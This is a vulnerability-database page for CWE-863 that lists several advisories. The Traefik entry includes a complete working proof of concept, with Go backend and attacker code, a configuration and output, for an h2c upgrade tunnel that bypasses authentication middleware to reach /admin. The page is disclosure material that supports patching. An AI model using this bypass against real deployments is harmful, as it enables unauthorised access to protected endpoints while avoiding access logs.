Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

8380 vulnerabilities reference this CWE, most recent first.

GHSA-W4RJ-XPVG-FX9Q

Vulnerability from github – Published: 2023-02-03 18:30 – Updated: 2023-02-10 03:30
VLAI
Details

Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-03T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.",
  "id": "GHSA-w4rj-xpvg-fx9q",
  "modified": "2023-02-10T03:30:20Z",
  "published": "2023-02-03T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwnlandia/mhn/issues/809"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4RP-QJWW-56RF

Vulnerability from github – Published: 2026-11-08 03:30 – Updated: 2026-11-08 03:30
VLAI
Details

Vikunja from 2.4.0 before 2.7.1 contains an authorization bypass vulnerability that allows token holders to perform unintended operations due to colliding v1 and v2 API token permission keys. Attackers with a token scoped to read project backgrounds can delete them via the v2 DELETE background route, and bucket create-only tokens can update existing buckets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-123527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-08T02:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Vikunja from 2.4.0 before 2.7.1 contains an authorization bypass vulnerability that allows token holders to perform unintended operations due to colliding v1 and v2 API token permission keys. Attackers with a token scoped to read project backgrounds can delete them via the v2 DELETE background route, and bucket create-only tokens can update existing buckets.",
  "id": "GHSA-w4rp-qjww-56rf",
  "modified": "2026-11-08T03:30:30Z",
  "published": "2026-11-08T03:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-j5v7-qcwp-5g32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-123527"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-2.4.0-before-2.7.1-api-token-scope-collision-authorization-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W4V4-9RW7-5326

Vulnerability from github – Published: 2026-09-10 23:04 – Updated: 2026-09-10 23:04
VLAI
Summary
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Details

Summary

There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.

Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.57
  • https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description # Summary Traefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: ` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik. This is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain. An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route. For example:
/public                         /admin
(no auth)                       (BasicAuth)
    |                               |
    +----------- same backend ------+
                    ^
                    |
              h2c tunnel
                    |
                 attacker
This allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing. The core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**. # Technical Details The default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default). The relevant request path is: * `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234) When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`. * `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170) WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through. * `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56) Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade. * `net/http/httputil.ReverseProxy` When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend. The security boundary breaks at this point. The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams. The resulting flow is:
Attacker
   |
   | GET /public
   | Connection: Upgrade
   | Upgrade: h2c
   v
Traefik
   |
   | r-public (no auth)
   v
Backend
   |
   | 101 Switching Protocols
   v
[raw byte tunnel]
   |
   | HTTP/2 GET /admin
   v
Backend
The `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel. I found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path. ## This is distinct from configured h2c support Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration. This issue is different. The upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend. Therefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it. # PoC Reproduced against a Traefik binary built from master at commit `9bb0e55`:
go build ./cmd/traefik
Go 1.26.4
Default configuration was used, with no `encodedCharacters` or upgrade-related options enabled. ## 1. Backend The backend implements a minimal HTTP/1.1 → h2c upgrade handler. It exposes: * `/public` — unauthenticated * `/admin` — intended to be protected by Traefik
package main

import (
    "bufio"
    "fmt"
    "net"
    "net/http"
    "strings"

    "golang.org/x/net/http2"
)

func main() {
    mux := http.NewServeMux()

    mux.HandleFunc("/public", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "public ok\n")
    })

    mux.HandleFunc("/admin", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(
            w,
            "ADMIN SECRET DATA (proto=%s path=%s)\n",
            r.Proto,
            r.URL.Path,
        )
    })

    h2s := &http2.Server{}

    ln, _ := net.Listen("tcp", "127.0.0.1:9900")

    for {
        c, err := ln.Accept()
        if err != nil {
            return
        }

        go func(conn net.Conn) {
            br := bufio.NewReader(conn)
            var sb strings.Builder

            for {
                line, err := br.ReadString('\n')
                if err != nil {
                    return
                }

                sb.WriteString(line)

                if line == "\r\n" {
                    break
                }
            }

            if strings.Contains(sb.String(), "Upgrade: h2c") {
                conn.Write([]byte(
                    "HTTP/1.1 101 Switching Protocols\r\n" +
                        "Connection: Upgrade\r\n" +
                        "Upgrade: h2c\r\n\r\n",
                ))

                h2s.ServeConn(conn, &http2.ServeConnOpts{
                    Handler: mux,
                })

                return
            }

            conn.Close()
        }(c)
    }
}
## 2. Traefik configuration `traefik.yml`:
entryPoints:
  web:
    address: "127.0.0.1:9080"

providers:
  file:
    filename: "dynamic.yml"
`dynamic.yml`:
http:
  routers:
    r-public:
      rule: "PathPrefix(`/public`)"
      entryPoints: ["web"]
      service: svc

    r-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: ["web"]
      service: svc
      middlewares: ["adminauth"]

  middlewares:
    adminauth:
      basicAuth:
        users:
          - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."

  services:
    svc:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:9900"
Both routers terminate on the same backend. Only `/admin` has authentication. ## 3. Attacker The PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"

    "golang.org/x/net/http2"
)

func main() {
    front := "127.0.0.1:9080"

    resp, _ := http.Get("http://" + front + "/admin")
    b, _ := io.ReadAll(resp.Body)
    resp.Body.Close()

    fmt.Printf(
        "[1] Direct GET /admin (no creds) -> %d %q\n",
        resp.StatusCode,
        strings.TrimSpace(string(b)),
    )

    raw, _ := net.Dial("tcp", front)

    raw.Write([]byte(
        "GET /public HTTP/1.1\r\n" +
            "Host: x\r\n" +
            "Connection: Upgrade, HTTP2-Settings\r\n" +
            "Upgrade: h2c\r\n" +
            "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
            "\r\n",
    ))

    buf := make([]byte, 256)

    raw.SetReadDeadline(time.Now().Add(3 * time.Second))
    n, _ := raw.Read(buf)

    fmt.Printf(
        "[2] Upgrade: h2c to /public (no auth) -> %q\n",
        strings.SplitN(string(buf[:n]), "\r\n", 2)[0],
    )

    raw.SetReadDeadline(time.Time{})

    cc, _ := (&http2.Transport{}).NewClientConn(raw)

    req, _ := http.NewRequest("GET", "http://x/admin", nil)

    r2, _ := cc.RoundTrip(req)
    b2, _ := io.ReadAll(r2.Body)
    r2.Body.Close()

    fmt.Printf(
        "[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
        r2.StatusCode,
        strings.TrimSpace(string(b2)),
    )
}
### Result
[1] Direct GET /admin (no creds)      -> 401 "401 Unauthorized"
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
This demonstrates the bypass: * Direct `/admin` → `401` * Unauthenticated `/public` → `101` * `/admin` over the established h2c tunnel → `200` The PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel. # Impact The issue is exploitable when: 1. An attacker can reach a router without the relevant security middleware. 2. That router points to the same backend as a protected router. 3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`. 4. Traefik allows the resulting upgrade to complete. Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend. Potentially affected middleware includes: * `BasicAuth` * `ForwardAuth` * `IPAllowList` * `RateLimit` * header/security middleware * other per-request middleware attached to the protected router The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline. The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik. # Scope / Preconditions The backend must support the HTTP/1.1 → h2c upgrade mechanism and return `101 Switching Protocols`. This is not true for every HTTP/2-capable backend. For example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected. Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade. Therefore, this is **not** a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite. The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path. # Suggested Fix The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket. At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:
Upgrade: h2c
Upgrade: <arbitrary-token>
More generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik. The relevant security property is: > **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.** # TL;DR Traefik forwards arbitrary client-supplied `Upgrade` tokens. If a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware. An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:
/public (no auth)
      |
      | Upgrade: h2c
      v
   Traefik
      |
      | 101
      v
  raw tunnel
      |
      | HTTP/2 GET /admin
      v
   Backend
      |
      v
/admin
(middleware bypassed)
In the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`. The root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.**
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.2"
            },
            {
              "fixed": "3.7.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.26"
            },
            {
              "fixed": "2.11.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T23:04:37Z",
    "nvd_published_at": "2026-09-10T15:17:56Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high-severity request-smuggling vulnerability in Traefik\u0027s handling of the HTTP/1.1 `Upgrade` mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated `Upgrade: h2c` request header and its connection-specific `HTTP2-Settings` header were forwarded to the backend. A backend that honours the h2c upgrade and answers `101 Switching Protocols` puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the `Upgrade: h2c` token and the `HTTP2-Settings` header; `Upgrade: websocket` is unaffected. Exploitation requires a backend that upgrades h2c without validating the `Connection` listing; common off-the-shelf servers were not exploitable in testing.\n\nTraefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nTraefik\u0027s default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: \u003ctoken\u003e` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.\n\nThis is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.\n\nAn attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.\n\nFor example:\n\n```text\n/public                         /admin\n(no auth)                       (BasicAuth)\n    |                               |\n    +----------- same backend ------+\n                    ^\n                    |\n              h2c tunnel\n                    |\n                 attacker\n```\n\nThis allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik\u0027s normal access logging, metrics, and tracing.\n\nThe core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.\n\n# Technical Details\n\nThe default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).\n\nThe relevant request path is:\n\n* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)\n\n  When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.\n\n* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)\n\n  WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.\n\n* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)\n\n  Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.\n\n* `net/http/httputil.ReverseProxy`\n\n  When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.\n\nThe security boundary breaks at this point.\n\nThe Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.\n\nThe resulting flow is:\n\n```text\nAttacker\n   |\n   | GET /public\n   | Connection: Upgrade\n   | Upgrade: h2c\n   v\nTraefik\n   |\n   | r-public (no auth)\n   v\nBackend\n   |\n   | 101 Switching Protocols\n   v\n[raw byte tunnel]\n   |\n   | HTTP/2 GET /admin\n   v\nBackend\n```\n\nThe `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.\n\nI found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.\n\n## This is distinct from configured h2c support\n\nTraefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.\n\nThis issue is different.\n\nThe upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.\n\nTherefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.\n\n# PoC\n\nReproduced against a Traefik binary built from master at commit `9bb0e55`:\n\n```text\ngo build ./cmd/traefik\nGo 1.26.4\n```\n\nDefault configuration was used, with no `encodedCharacters` or upgrade-related options enabled.\n\n## 1. Backend\n\nThe backend implements a minimal HTTP/1.1 \u2192 h2c upgrade handler.\n\nIt exposes:\n\n* `/public` \u2014 unauthenticated\n* `/admin` \u2014 intended to be protected by Traefik\n\n```go\npackage main\n\nimport (\n    \"bufio\"\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n\n    mux.HandleFunc(\"/public\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"public ok\\n\")\n    })\n\n    mux.HandleFunc(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(\n            w,\n            \"ADMIN SECRET DATA (proto=%s path=%s)\\n\",\n            r.Proto,\n            r.URL.Path,\n        )\n    })\n\n    h2s := \u0026http2.Server{}\n\n    ln, _ := net.Listen(\"tcp\", \"127.0.0.1:9900\")\n\n    for {\n        c, err := ln.Accept()\n        if err != nil {\n            return\n        }\n\n        go func(conn net.Conn) {\n            br := bufio.NewReader(conn)\n            var sb strings.Builder\n\n            for {\n                line, err := br.ReadString(\u0027\\n\u0027)\n                if err != nil {\n                    return\n                }\n\n                sb.WriteString(line)\n\n                if line == \"\\r\\n\" {\n                    break\n                }\n            }\n\n            if strings.Contains(sb.String(), \"Upgrade: h2c\") {\n                conn.Write([]byte(\n                    \"HTTP/1.1 101 Switching Protocols\\r\\n\" +\n                        \"Connection: Upgrade\\r\\n\" +\n                        \"Upgrade: h2c\\r\\n\\r\\n\",\n                ))\n\n                h2s.ServeConn(conn, \u0026http2.ServeConnOpts{\n                    Handler: mux,\n                })\n\n                return\n            }\n\n            conn.Close()\n        }(c)\n    }\n}\n```\n\n## 2. Traefik configuration\n\n`traefik.yml`:\n\n```yaml\nentryPoints:\n  web:\n    address: \"127.0.0.1:9080\"\n\nproviders:\n  file:\n    filename: \"dynamic.yml\"\n```\n\n`dynamic.yml`:\n\n```yaml\nhttp:\n  routers:\n    r-public:\n      rule: \"PathPrefix(`/public`)\"\n      entryPoints: [\"web\"]\n      service: svc\n\n    r-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [\"web\"]\n      service: svc\n      middlewares: [\"adminauth\"]\n\n  middlewares:\n    adminauth:\n      basicAuth:\n        users:\n          - \"admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs.\"\n\n  services:\n    svc:\n      loadBalancer:\n        servers:\n          - url: \"http://127.0.0.1:9900\"\n```\n\nBoth routers terminate on the same backend. Only `/admin` has authentication.\n\n## 3. Attacker\n\nThe PoC first verifies that `/admin` is protected, then establishes an unauthenticated `h2c` tunnel through `/public` and sends `/admin` over the resulting HTTP/2 connection.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n\n    \"golang.org/x/net/http2\"\n)\n\nfunc main() {\n    front := \"127.0.0.1:9080\"\n\n    resp, _ := http.Get(\"http://\" + front + \"/admin\")\n    b, _ := io.ReadAll(resp.Body)\n    resp.Body.Close()\n\n    fmt.Printf(\n        \"[1] Direct GET /admin (no creds) -\u003e %d %q\\n\",\n        resp.StatusCode,\n        strings.TrimSpace(string(b)),\n    )\n\n    raw, _ := net.Dial(\"tcp\", front)\n\n    raw.Write([]byte(\n        \"GET /public HTTP/1.1\\r\\n\" +\n            \"Host: x\\r\\n\" +\n            \"Connection: Upgrade, HTTP2-Settings\\r\\n\" +\n            \"Upgrade: h2c\\r\\n\" +\n            \"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\\r\\n\" +\n            \"\\r\\n\",\n    ))\n\n    buf := make([]byte, 256)\n\n    raw.SetReadDeadline(time.Now().Add(3 * time.Second))\n    n, _ := raw.Read(buf)\n\n    fmt.Printf(\n        \"[2] Upgrade: h2c to /public (no auth) -\u003e %q\\n\",\n        strings.SplitN(string(buf[:n]), \"\\r\\n\", 2)[0],\n    )\n\n    raw.SetReadDeadline(time.Time{})\n\n    cc, _ := (\u0026http2.Transport{}).NewClientConn(raw)\n\n    req, _ := http.NewRequest(\"GET\", \"http://x/admin\", nil)\n\n    r2, _ := cc.RoundTrip(req)\n    b2, _ := io.ReadAll(r2.Body)\n    r2.Body.Close()\n\n    fmt.Printf(\n        \"[3] HTTP/2 GET /admin over tunnel -\u003e %d %q\\n\",\n        r2.StatusCode,\n        strings.TrimSpace(string(b2)),\n    )\n}\n```\n\n### Result\n\n```text\n[1] Direct GET /admin (no creds)      -\u003e 401 \"401 Unauthorized\"\n[2] Upgrade: h2c to /public (no auth) -\u003e \"HTTP/1.1 101 Switching Protocols\"\n[3] HTTP/2 GET /admin over tunnel     -\u003e 200 \"ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)\"\n```\n\nThis demonstrates the bypass:\n\n* Direct `/admin` \u2192 `401`\n* Unauthenticated `/public` \u2192 `101`\n* `/admin` over the established h2c tunnel \u2192 `200`\n\nThe PoC therefore shows that the `/admin` middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.\n\n# Impact\n\nThe issue is exploitable when:\n\n1. An attacker can reach a router without the relevant security middleware.\n2. That router points to the same backend as a protected router.\n3. The backend accepts `Upgrade: h2c` and returns `101 Switching Protocols`.\n4. Traefik allows the resulting upgrade to complete.\n\nUnder these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.\n\nPotentially affected middleware includes:\n\n* `BasicAuth`\n* `ForwardAuth`\n* `IPAllowList`\n* `RateLimit`\n* header/security middleware\n* other per-request middleware attached to the protected router\n\nThe tunneled requests also bypass Traefik\u0027s normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.\n\nThe impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.\n\n# Scope / Preconditions\n\nThe backend must support the HTTP/1.1 \u2192 h2c upgrade mechanism and return `101 Switching Protocols`.\n\nThis is not true for every HTTP/2-capable backend.\n\nFor example, recent `golang.org/x/net/http2/h2c` implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.\n\nOlder implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.\n\nTherefore, this is **not** a generic \"Traefik + HTTP/2 backend = vulnerable\" issue. The backend\u0027s ability to accept the client-initiated upgrade is a required prerequisite.\n\nThe Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.\n\n# Suggested Fix\n\nThe proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.\n\nAt minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:\n\n```text\nUpgrade: h2c\nUpgrade: \u003carbitrary-token\u003e\n```\n\nMore generally, Traefik should not treat an arbitrary `101 Switching Protocols` response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.\n\nThe relevant security property is:\n\n\u003e **A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik\u0027s HTTP routing/middleware layer.**\n\n# TL;DR\n\nTraefik forwards arbitrary client-supplied `Upgrade` tokens.\n\nIf a backend accepts `Upgrade: h2c` and returns `101`, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik\u0027s routers or middleware.\n\nAn attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:\n\n```text\n/public (no auth)\n      |\n      | Upgrade: h2c\n      v\n   Traefik\n      |\n      | 101\n      v\n  raw tunnel\n      |\n      | HTTP/2 GET /admin\n      v\n   Backend\n      |\n      v\n/admin\n(middleware bypassed)\n```\n\nIn the PoC, a direct unauthenticated request to `/admin` returns `401`, while the same endpoint accessed over the h2c tunnel returns `200`.\n\nThe root cause is **unrestricted client-initiated protocol upgrades combined with the loss of Traefik\u0027s HTTP routing/middleware enforcement after `101 Switching Protocols`.**\n\n\u003c/details\u003e\n---",
  "id": "GHSA-w4v4-9rw7-5326",
  "modified": "2026-09-10T23:04:37Z",
  "published": "2026-09-10T23:04:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/a277e94664ffc1ce9543df552d3bbf48d4d3b8b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) and Incorrect Authorization"
}

GHSA-W4V6-G3WM-W36C

Vulnerability from github – Published: 2026-07-02 16:48 – Updated: 2026-07-02 16:48
VLAI
Summary
OpenClaw: QQBot admin commands could skip DM-only and allowFrom policy
Details

Summary

QQBot admin commands could skip DM-only and allowFrom policy. In affected versions, a QQBot sender able to trigger the exported command could route admin commands without the QQBot-specific DM-only and allowFrom checks.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could run QQBot admin behavior from a sender or context that policy should have blocked. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.4.29.

Mitigations

